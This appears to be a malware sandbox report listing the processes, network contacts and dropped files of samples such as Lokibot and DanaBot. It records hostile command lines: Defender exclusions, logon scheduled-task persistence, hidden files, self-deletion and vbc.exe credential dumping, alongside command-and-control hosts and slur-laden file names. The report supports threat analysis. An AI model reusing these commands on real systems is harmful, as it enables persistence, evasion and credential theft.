C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exe

"C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exe"

C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe

"C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe"

C:\Windows\SysWOW64\PING.EXE

ping -n 10 localhost

C:\Users\Admin\AppData\Local\Temp\Lokibot.exe

"C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"

C:\Users\Admin\AppData\Local\Temp\a\VixenLoader.exe

"C:\Users\Admin\AppData\Local\Temp\a\VixenLoader.exe"

C:\Users\Admin\AppData\Local\Temp\10320830101\b0ad451079.exe

"C:\Users\Admin\AppData\Local\Temp\10320830101\b0ad451079.exe"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\sdsdasd\$77bloody_was_here.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'dJ3H492fymd.exe-5707' -RunLevel Highest "

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp83EF.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "dJ3H492fymd.exe" /tr '"C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe"'

C:\Windows\system32\mode.com

mode 65,10

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Program Files\taskhostw.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\system.exe'

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe"

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e file.zip -p1697420900235384164176743894 -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_5.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_4.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_3.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_2.zip -oextracted

C:\Users\Admin\AppData\Local\Temp\main\7z.exe

7z.exe e extracted/file_1.zip -oextracted

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\system32\attrib.exe

attrib +H "svchosts64.exe"

C:\Users\Admin\AppData\Roaming\Minecraft.exe

"C:\Users\Admin\AppData\Roaming\Minecraft.exe"

C:\Users\Admin\AppData\Local\Temp\main\svchosts64.exe

"svchosts64.exe"

C:\Windows\Skypee\skypee.exe

"C:\Windows\Skypee\skypee.exe"

C:\Windows\Skypee\skypee.exe

"C:\Windows\Skypee\skypee.exe"

C:\Windows\syswow64\svchost.exe

C:\Windows\syswow64\svchost.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhostw.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsSessionUpdate'

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"

C:\Users\Admin\AppData\Local\Temp\a\loader.exe

"C:\Users\Admin\AppData\Local\Temp\a\loader.exe"

C:\Users\Admin\AppData\Local\Temp\10325120101\RTH4oNP.exe

"C:\Users\Admin\AppData\Local\Temp\10325120101\RTH4oNP.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpB2EB.tmp.bat""

C:\Windows\system32\taskeng.exe

taskeng.exe {5F3170A5-D46C-4A89-BFBB-C46275258C68} S-1-5-21-2703099537-420551529-3771253338-1000:XECUDNCD\Admin:Interactive:[1]

C:\Program Files\taskhostw.exe

"C:\Program Files\taskhostw.exe"

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\syswow64\MsiExec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding 57465EF3D4C0A4B63CC2A599C7154DB2 C

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\wSbGzNrClVuH.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsSessionUpdate'

C:\Windows\SysWOW64\chcp.com

chcp 65001

C:\Windows\SysWOW64\PING.EXE

ping -n 10 localhost

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe"

C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe

"C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsSessionUpdate" /tr "C:\Users\Admin\AppData\Roaming\WindowsSessionUpdate"

C:\ProgramData\skja\xaogk.exe

C:\ProgramData\skja\xaogk.exe start2

C:\Users\Admin\AppData\Local\Temp\10329270101\qWvzIGs.exe

"C:\Users\Admin\AppData\Local\Temp\10329270101\qWvzIGs.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Discord" /tr "C:\Users\Admin\AppData\Local\Discord.exe"

C:\Users\Admin\AppData\Local\Temp\a\shwork.exe

"C:\Users\Admin\AppData\Local\Temp\a\shwork.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpD318.tmp.bat""

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 yk.l52m.com udp
US 8.8.8.8:53 5555.kl.com.ua udp
NL 5.79.66.145:80 5555.kl.com.ua tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 impactsupport.world udp
CA 51.222.39.81:443 tcp
US 8.8.8.8:53 nestlecompany.world udp
US 8.8.8.8:53 mercharena.biz udp
US 8.8.8.8:53 rottot.shop udp
US 8.8.8.8:53 imagem.caixa.gov.br udp
NL 5.79.66.145:80 5555.kl.com.ua tcp
N/A 127.0.0.1:2012 tcp
US 8.8.8.8:53 generalmills.pro udp
US 8.8.8.8:53 stormlegue.com udp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 discord.com udp
N/A 127.0.0.1:2012 tcp
US 8.8.8.8:53 api.ipify.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 dropout-37757.portmap.host udp
US 173.255.204.62:443 stormlegue.com tcp
US 162.159.128.233:443 discord.com tcp
FR 51.77.7.204:443 tcp
US 104.26.12.205:443 api.ipify.org tcp
US 8.8.8.8:53 blast-hubs.com udp
US 173.255.204.62:443 blast-hubs.com tcp
US 8.8.8.8:53 jmucha.fun udp
N/A 127.0.0.1:2012 tcp
N/A 192.168.2.121:1001 tcp
US 8.8.8.8:53 blastikcn.com udp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 173.255.204.62:443 blastikcn.com tcp
US 8.8.8.8:53 nickman12-46565.portmap.io udp
US 8.8.8.8:53 ip-api.com udp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 www.l52m.com udp
US 8.8.8.8:53 urlhaus.abuse.ch udp
RU 176.113.115.7:80 176.113.115.7 tcp
US 151.101.130.49:443 urlhaus.abuse.ch tcp
N/A 127.0.0.1:2012 tcp
US 8.8.8.8:53 nestlecompany.pro udp
US 8.8.8.8:53 lestagames.world udp
US 8.8.8.8:53 steamcommunity.com udp
GB 2.22.96.50:443 steamcommunity.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 162.159.128.233:443 discord.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 151.101.130.49:443 urlhaus.abuse.ch tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 208.95.112.1:80 ip-api.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
GB 20.26.156.215:443 github.com tcp
RU 176.113.115.6:80 176.113.115.6 tcp
US 8.8.8.8:53 niggahunter-28633.portmap.io udp
US 185.199.111.133:443 raw.githubusercontent.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 208.95.112.1:80 ip-api.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 gitlab.com udp
US 172.65.251.78:443 gitlab.com tcp
US 8.8.8.8:53 whatismyipaddress.com udp
GB 104.245.241.219:80 104.245.241.219 tcp
US 104.19.222.79:80 whatismyipaddress.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 www.maxmoney.com udp
MY 210.19.94.140:80 www.maxmoney.com tcp
KR 175.112.170.177:80 175.112.170.177 tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 esccapewz.run udp
US 208.95.112.1:80 ip-api.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
DE 193.233.254.162:5555 tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev udp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
DE 193.233.254.162:5555 tcp
DE 193.233.254.162:5556 tcp
US 162.159.140.237:443 pub-c7b31ab9decd4a2684fcd9fc90862261.r2.dev tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
N/A 127.0.0.1:2012 tcp
US 8.8.8.8:53 travewlio.shop udp
FR 51.77.7.204:443 tcp
US 8.8.8.8:53 plothelperfu.top udp
US 8.8.8.8:53 smtp.gmail.com udp
US 8.8.8.8:53 strivehelpeu.bond udp
BE 142.251.173.109:587 smtp.gmail.com tcp
US 8.8.8.8:53 touvrlane.bet udp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 www.update.microsoft.com udp
US 20.72.235.82:80 www.update.microsoft.com tcp
US 8.8.4.4:53 bighecks.net udp
US 184.105.192.2:80 bighecks.net tcp
US 8.8.8.8:53 crookedfoshe.bond udp
US 8.8.8.8:53 immolatechallen.bond udp
US 8.8.8.8:53 stripedre-lot.bond udp
US 8.8.8.8:53 growthselec.bond udp
US 8.8.8.8:53 jarry-deatile.bond udp
US 8.8.8.8:53 pain-temper.bond udp
US 8.8.8.8:53 jarry-fixxer.bond udp
US 8.8.8.8:53 steamcommunity.com udp
US 8.8.4.4:53 sonic4us.ru udp
GB 2.22.96.50:443 steamcommunity.com tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.8.8:53 sonic4us.ru udp
US 8.8.8.8:53 sighbtseeing.shop udp
US 8.8.8.8:53 advennture.top udp
US 104.21.25.9:443 advennture.top tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
FR 179.191.181.65:443 imagem.caixa.gov.br tcp
US 8.8.4.4:53 imageshells.com udp
US 184.105.192.2:80 imageshells.com tcp
N/A 127.0.0.1:2012 tcp
US 8.8.4.4:53 www.yahgodz.com udp
US 184.105.192.2:80 www.yahgodz.com tcp
US 172.245.123.24:80 172.245.123.24 tcp
US 8.8.8.8:53 rootedkrypto-29674.portmap.host udp
US 208.95.112.1:80 ip-api.com tcp
US 104.21.25.9:443 advennture.top tcp
US 104.21.25.9:443 advennture.top tcp
US 8.8.8.8:53 paraiz.no-ip.biz udp
N/A 127.0.0.1:2012 tcp
N/A 127.0.0.1:2012 tcp
FR 185.136.161.124:6128 tcp
FR 51.77.7.204:443 tcp
N/A 127.0.0.1:2012 tcp

Files

C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe

MD5 fcaf9381cf49405a6fe489aff172c3a8
SHA1 6c62859c5a35121aa897cd3dc2dff9afb19ee76f
SHA256 61b6252429f370ba24b0b5e065e0db5b1c910b5b1a7253863f7ddb4072042abd
SHA512 99b2473f508baab338d4a1469b8395c81c24d256cce3b4fedb93e7fde939b5886ef4f9c74ab4ad9dc911d0160f14e51cf3ee27877dc640b61d2f4d22a54b397c

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

MD5 63596f2392855aacd0ed6de194d2677c
SHA1 6c8cf836c5715e21397894c9087b38a740163099
SHA256 0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb
SHA512 7204def70b4c68ff229322cbb4c06e9a30a8718af58fdee1c96b2eba6a6fc07b35cbbb88dc00c847a0d7be2a5cd6709c93e73e81988b97907dc6848c66f792b7

\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe

MD5 c14240799b42bb8888028b840d232428
SHA1 e42d3933a959f55983141a568241cd315ae60612
SHA256 0e69c2a9fc7bac1133becbdbcee3d3c48aaece55efa7abd42071009098c29f7b
SHA512 ae515275895c9a741b422c63feea725f150f5b28c1d9da635933a9b1b523d40230d319b1b53ad1a7a27fa39625244862b2ce89e8fc2da7a48303c032bbcfb591

memory/2536-39-0x0000000000400000-0x0000000000418000-memory.dmp

memory/2192-41-0x0000000000EA0000-0x0000000000EAA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\autorun.inf

MD5 791c22422cded6b4b1fbb77e2be823bb
SHA1 220e96e2f3a16549228006b16591c208b660b1bc
SHA256 3354db19957d91b855470eb17ce933e4f10066ea25478a10b69a27e8fbca6f60
SHA512 b5f9bd9ca51efc9e8166ca1604d511e36e99fc02ccfd3e686f1dfec7bf777fb0f7b6492bdd1b75640790893857c69cfcf254fd6f6e0ff2839241b94f8c9e0b87

C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe

MD5 64d8b413b2f5f3842e6126b398f62ab5
SHA1 f1c74de5ca76f0feb233ac7b5fb5e0158fb37d79
SHA256 0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d
SHA512 328235f69b4db694cfd0e826d0012bb4b9d1f2971a27eec9fd27b106e9a6201a619bdd6ff0cfdad7144ef20276c423bd800ddbc9b5c6cff3c0c37e79837a48cf

memory/2856-71-0x0000000000400000-0x000000000042E000-memory.dmp

memory/2536-70-0x0000000000400000-0x0000000000418000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\proxyt.exe

MD5 0a8926c9bb51236adc4c613d941ee60a
SHA1 775c7a9f9df06d10a1075167434dfff50b9e0eb3
SHA256 17f3cb36a59ace4d7b0138054b2a1cf391060989e97bbf6b03d4147975818a83
SHA512 866b8546314f27fc1a7ffe21de07be9631eaf46cbc9132054d3900a7f6b2d459c1744da25d66e86c1118ee1fb5cdd90b9747d563200fe71dcb1c1b20ed5e7168

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 5576314b3a87ee099fdced0a48737036
SHA1 b3a7fd6ab83c6b7444283e07fcb5d51adf30dc14
SHA256 93aa355455057f0e1c9a6cbe0e351c69c22bb39e7cce6da8a75d667e7b2b979a
SHA512 6dc7aa589c4a69fce8b7762798abee0dd1e54b86b8c611d51b25da9282ea97121c8560ef8bed2ac4283ce1147ab2b445a3564585423eaa90e4710c1beffd74f4

memory/2772-38-0x00000000003E0000-0x00000000003F8000-memory.dmp

memory/2772-37-0x00000000003E0000-0x00000000003F8000-memory.dmp

\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe

MD5 177a73014d3c3455d71d645c1bf32a9f
SHA1 84e6709bb58fd671bbd8b37df897d1e60d570aec
SHA256 1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef
SHA512 b11e480a39daae570b44dea17b8929eb8ec6f2bccce1e3aebd9b359a717eb21e7e09750a93ed484ded6073da2527221bda09897fbf5d6c662a14c706a0fec9cb

memory/1928-82-0x0000000000D40000-0x0000000000D4E000-memory.dmp

\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe

MD5 26164790286a03dc5abffc3225b59af2
SHA1 1094432026ea3ddb212e4da1ecbe21421ef83319
SHA256 5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351
SHA512 148a7878f8ea71d17aa579b0b1d3bf226dc19053bee0da775de66927cb3dfd0b0b7e997652ee53e9ee397477c81e4c71c1aa4fce9d85d08d84bbf4206f59f859

\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

MD5 3299ebb7b213d7ab79f7fef2296b06d2
SHA1 71efb0ca7eac2410291a6405977aa81bb72394f1
SHA256 783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d
SHA512 5f5f1e3d45a83cac12f7590a628c1a4f8cbcb84deb4e5c86566778164761c738fefab11a003fee4372121b7545fb26ec7ec2fede0c3ba34470523fdc03ecb996

\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe

MD5 fc24555ebf5eb87e88af6cacdd39ca66
SHA1 4d7980158375105d3c44ca230aab7963e2461b2b
SHA256 d8b88b1eb850ae1434cf6a489f7376b0a37cb4911f4ea07d10c9613706a1808a
SHA512 74f5ed6eca55f26b5b1c96388fcd72e672313b08f14dba67886de45ef024fd89854f3078e81b4392288345d7057b001a080c1b26246a7d34aac03c34472081bd

C:\Users\Admin\AppData\Local\Temp\2020.exe

MD5 dd64540e22bf898a65b2a9d02487ac04
SHA1 30dc0f5fde0feeb409cfb5673d69e9ad7c33f903
SHA256 c3f1f481bf8890ae8e6c4687fc73fb9da1b03e5661f4c0961cdf119dfcd72da4
SHA512 8c496d77574199ebea8e2fe2136d7732013edb1df3de68f3cbc73ec3f36028817d7ac9c7bb068498f6100020a58175efb1a10fd77d14f921e4bca04fd41542a2

memory/2920-120-0x0000000000AC0000-0x0000000000AEA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DanaBot.exe

MD5 48d8f7bbb500af66baa765279ce58045
SHA1 2cdb5fdeee4e9c7bd2e5f744150521963487eb71
SHA256 db0d72bc7d10209f7fa354ec100d57abbb9fe2e57ce72789f5f88257c5d3ebd1
SHA512 aef8aa8e0d16aab35b5cc19487e53583691e4471064bc556a2ee13e94a0546b54a33995739f0fa3c4de6ff4c6abf02014aef3efb0d93ca6847bad2220c3302bd

\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe

MD5 0c5f210d9488d06c6e0143746cb46a4c
SHA1 8c10d61f4fb40acdd99d876c632a3388a9dfbad7
SHA256 0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0
SHA512 bb18b8e5e7c6b5e1cb9535c0910a7175f0871b21aab0238cfd3a5fd0a8e79790d457b0ed15b2c5695ba59595d5019975be8ae02eddf1d4c2381b9c1bf43920d4

memory/2176-128-0x00000000002F0000-0x0000000000314000-memory.dmp

\Users\Admin\AppData\Local\Temp\DevilRAT.exe

MD5 eb6beba0181a014ac8c0ec040cb1121a
SHA1 52805384c7cd1b73944525c480792a3d0319b116
SHA256 f87b4e7c69ce161743f4b9b0001d7376e163d615ce477c390f63cadf09ffc5d4
SHA512 0afb9a7d180fe017520afb39e954821f77c8b6e2e11bbf73402dcdade231d07f3b755f40606252c917b51a0f5f32d499b96b30e7f2f617c50e709eae4cd80ae4

memory/2068-140-0x0000000010000000-0x000000001002B000-memory.dmp

memory/900-178-0x0000000002B10000-0x0000000002B11000-memory.dmp

memory/900-176-0x0000000002B10000-0x0000000002B11000-memory.dmp

memory/900-174-0x00000000025C0000-0x00000000025C1000-memory.dmp

memory/900-172-0x00000000025C0000-0x00000000025C1000-memory.dmp

memory/900-170-0x00000000007F0000-0x00000000007F1000-memory.dmp

memory/900-168-0x00000000007F0000-0x00000000007F1000-memory.dmp

memory/900-166-0x0000000002960000-0x0000000002961000-memory.dmp

memory/900-164-0x0000000002960000-0x0000000002961000-memory.dmp

memory/900-162-0x0000000002760000-0x0000000002761000-memory.dmp

memory/900-160-0x0000000002760000-0x0000000002761000-memory.dmp

memory/900-157-0x0000000002600000-0x0000000002601000-memory.dmp

memory/900-155-0x0000000002600000-0x0000000002601000-memory.dmp

memory/900-152-0x00000000027B0000-0x00000000027B1000-memory.dmp

memory/900-150-0x00000000027B0000-0x00000000027B1000-memory.dmp

memory/900-148-0x0000000002640000-0x0000000002641000-memory.dmp

memory/900-146-0x0000000002640000-0x0000000002641000-memory.dmp

memory/1680-193-0x0000000002310000-0x0000000002588000-memory.dmp

\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

MD5 a5b0b7dc03430b53672635608e95a0f9
SHA1 9624b3d747744fdd1e59155fbd331688c4fbbc59
SHA256 8cce1d4ffa3d21e0eaf8cae399d71729717f184612b80a32e4627d8596b5bd22
SHA512 f7afe9f483a10b8df68b56aef7d9ec89b04e16e42dfd61c2a0f99674bbb101cdff20f9f2657c3555fbb4ee2bfc6c6e5750663ddf343e16cfed15d61479d8bb92

\Windows\System32\d3dx9_43.dll

MD5 49c7e48e5042370f257afca33469245c
SHA1 c63c7511081d5dcd7ed85231bde1017b064b489a
SHA256 28eac29da55bc960d83a115a1930a179d9b6f9f5bd0ba58785adf0c37c535b0e
SHA512 090753cd96f2d214062b2dfc3d45fddee007f5a0986d74aa9d6688e413e5ad64bee42623eb65dc7783a5f73d6f09a9c7c90c7fba249444eaeaf438b6a15e87b7

memory/1180-219-0x00000000025C0000-0x00000000025C1000-memory.dmp

C:\Windows\psychosomaticDLL.dll

MD5 0c728d7242920f9c30ff35b8c94f2f70
SHA1 8bb25a25d2ab28bd611dd57ddbb63b08db0b47b1
SHA256 2238eb676d804ffb654f713ad71f8820640e5047262326fbcad5c2894a988817
SHA512 35f53f1260491e8175ca06ed4026cead72b16664dda32094c16b940415a381385ca224885437ecd3c8fef7da06663590254e88389856346a6e5a0d82dd2e50cc

\Users\Admin\AppData\Local\Temp\goofy.exe

MD5 9f86ce346644c8fd062ddcf802a3e993
SHA1 8a78d91bee298fa47a794e559b5331c2ef49c015
SHA256 b9488a2f213ea62076f92fb16ae0c037ac2fc977310af10e36919543b03c8a0d
SHA512 f598a13361b482822b1f5d6b569d9d61324ea79407a93678191e779c130b491ba2cb446ab464a5f0afc71273a9378cc3df409948141f1564fe33b07e5cd9db9e

memory/2132-226-0x00000000002D0000-0x00000000002DA000-memory.dmp

memory/1516-234-0x000000013F440000-0x000000013F450000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Instalação do Módulo Adicional de Segurança CAIXA.log

MD5 ed41aaa2d7d8a6570a725f9152b328e9
SHA1 489743930d4146e84885bb50bbfd7daedc795dc7
SHA256 fdcd219cb9d02814f3468150a2b76eae63447e21df8f211848613c8e74130817
SHA512 aa18cf5b7d3934199550ffab0fc9a9969bfd2c726abc21831b20569314132e803b23c147aa5c23e55b66c605760eca58dca758f97921b244148a3adb1c66501c

\Users\Admin\AppData\Local\Temp\FutureClient.exe

MD5 2fbd63e9262c738c472fdef1f0701d74
SHA1 cf8c1cf97f054d0fba0e5310e4f6c2db3a71d9fe
SHA256 11f601cb5920b195b7b10ea03733acc29b967de302f26efb1736d7b0b270385d
SHA512 ed88e58cca8d9f1d924fb6f6bbbde04139fb61b052fa6b95f312bd46f4d28b01e8bdf18dfa4433571cb2084564e35c1ca36d2e7896f30e05274eedd1f80ba037

memory/1680-261-0x0000000000400000-0x0000000000AAD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DanaBot.dll

MD5 9cb7b0d8e817636deed7b195e69f6156
SHA1 3a68463ef2313fa9580ff8048900ffcafb604114
SHA256 9e9c58dec15cf26e295f6d4dc1587468e6f1483e78ff2b8a2f47034b9731f5b1
SHA512 c8cb93a387cbfe13d1cfd131cffdce95656543cbb8838983015c981aad5cb9e7a6c1bbf94f248a83017420d7d51eea2ab44449333dd1557e2ec2a7017fc8a793

\Windows\Temp\ntdll.dll

MD5 3556d5a8bf2cc508bdab51dec38d7c61
SHA1 92015f7bbdb9dad35e41c533d2c5b85f1cd63d85
SHA256 91e3d98ad3119e8addf8d2aa1dd6795162842fff7101e4c70c5137e847b4ff50
SHA512 c2797ad0e21cde5267e1db0862a7e99c8c025b29fc33462851116f83887d7ca1a35859fb43f141c7af46a6e2aede9199e6f386f13b0569fcd6b036c2f84b0e20

C:\Users\Admin\AppData\Local\Temp\Instalação do Módulo Adicional de Segurança CAIXA.log

MD5 d7666ad4d1d85711f86e500ba1dc1003
SHA1 e2b1ac1600740af35e9da5723e87d507c9d9649b
SHA256 44ee780303b72dc9226d9a3f5ef2ec60c1fa342eb3351e9c00c961176e2b7565
SHA512 aa2737c750f242bed8be6e668480881659cf3efa4e337a2c1119c4c28d4bd736f8dab8e09b373ff9f2774504196c01b24395ce840c969a01a63b346d2e448853

memory/2804-264-0x0000000002710000-0x000000000297B000-memory.dmp

memory/2772-266-0x00000000003E0000-0x00000000003F8000-memory.dmp

memory/2772-265-0x00000000003E0000-0x00000000003F8000-memory.dmp

\Users\Admin\AppData\Local\Temp\nigga.exe

MD5 6cb703d1e77f657c22c9537f87c2c870
SHA1 0d4e5ea38168be6c530a5e37555ca21ff666dd25
SHA256 903a7559e0e725f87a202e37fe6906fb260f6423a9687c36eb2c846f5b8af4d0
